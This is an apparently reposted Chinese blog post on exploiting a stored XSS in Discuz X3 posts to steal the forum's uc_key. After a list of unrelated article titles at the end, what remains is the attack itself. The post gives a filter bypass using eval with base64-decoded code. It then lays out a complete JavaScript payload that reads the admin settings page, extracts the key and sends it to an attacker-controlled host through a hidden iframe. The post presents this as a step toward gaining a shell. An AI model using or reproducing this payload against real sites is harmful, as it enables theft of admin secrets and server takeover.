记一次艰难的discuz xss的利用(get uc_key)
来源:互联网 发布:烟台市网络党校app 编辑:程序博客网 时间:2024/06/03 20:16
首先找到一个discuz的xss还是比较容易的,本次测试的是Discuz X3的一个发帖的XSS,传送门
这里的xss脚本部分只能书写js的代码,并且测试后发现这里两个+号中间的双引号会被转义,如何破解这个难题呢?有一个神奇的函数eval,我们可以将js的代码用base64编码后,再用eval函数执行。这样构造eval(window.atob(base64编码后的js code))。
众所周知,由于discuz的cookie机制,这里我们即便拿到了cookie意义也不大,如何利用这个xss的漏洞成了当前的问题。xss之所以极具魅力,是因为这种攻击手法千变万化,发挥自己的无尽想象力能够创造出奇迹。discuz很多版本都存在uc_key getshell漏洞。我们能不能够用xss来获取uc_key呢?首先看看哪里会出现uc_key,配置文件中有但是我们拿不到,还有一个地方有,就是管理员的后台
如何获取到呢,我们可以用js代码请求这个页面获取源码(因为这里不属于跨域请求),获取源码之后里面肯定包含uc_key这个关键字的,我们只要做适当的字符串处理工作,把筛选出来的uc_key发到我们的接收端就可以了。下面是js代码片段:
var xmlHttpRequest; function createXmlHttpRequest(){ if(window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest) { return new XMLHttpRequest(); } }function zswFun(){ if(xmlHttpRequest.readyState == 4 && xmlHttpRequest.status == 200) { var b=xmlHttpRequest.responseText; //从返回的字符串中查找定位uc_key var start =b.indexOf("settingnew[uc][key]\" value=\"") +28; if(start>28) { var end = b.indexOf("\" type=\"text\"" , start); //挂一个iframe传送uc_key到我们的接收后台 var key="/r/n<iframe width='0' height='0' src='http://XXXXX/index.php?a=" + b.substr(start , end-start) +"'></iframe>"; top.document.body.innerHTML = top.document.body.innerHTML + key; } } }xmlHttpRequest = createXmlHttpRequest();xmlHttpRequest.onreadystatechange = zswFun;xmlHttpRequest.open("GET","admin.php?action=setting&operation=uc",true);xmlHttpRequest.send(null);
成功获取到了,有了uc_key后面的工作就容易许多了,传送门。其实这只是一种思路,
想表达的思想就是xss可以轻松获取普通用户看不到的后台的页面情况。
触发条件
这里被攻击的管理员在登陆状态下(登陆管理后台)点击我们刚才发的帖子即可触发。
0 0
- 记一次艰难的discuz xss的利用(get uc_key)
- Discuz的利用UC_KEY进行getshell
- Discuz的利用UC_KEY进行getshell
- 记一次艰难的提权
- 一次艰难的渗透纪实
- 一次xss的黑盒挖掘和利用过程
- 记一次艰难的MySQL库的安装过程
- 一次艰难的web service对接开发
- 记一次挖掘115网盘反射型xss,08xss的储存型xss
- Discuz! 7.2的一个XSS漏洞
- 对著名快递公司的一次艰难的oracle注入
- 对著名快递公司的一次艰难的oracle注入
- 记一次对Discuz官方论坛的渗透检测
- 一次艰难的优化Codeforces contest/810/problem/C
- discuz xss 0day利用方法
- 开始建设discuz论坛的时候,最艰难的就是对于整个论坛架构的掌握
- 利用XSS窃取cookie的php脚本
- xss简单的利用与分析
- 删除和添加select下拉框选中的内容option,以及清空option选项
- 解决refreshing gradle project 和Building gradle project info 一直卡住\速度慢
- MySQL 事件、触发器、存储过程
- 多线程间共享对象和数据方式
- 欲加之罪何患无辞
- 记一次艰难的discuz xss的利用(get uc_key)
- CodeForces
- wmc(飞控)学习入门
- [易飞]采购送检问题待续
- 分布式文件系统 FastDFS 5.0.5 & Linux CentOS 7 安装配置
- pandas库教程(1)
- topic interview + 贪心问题+design
- 格式控制字符
- TableViewCell的分割线显示不完全处理方法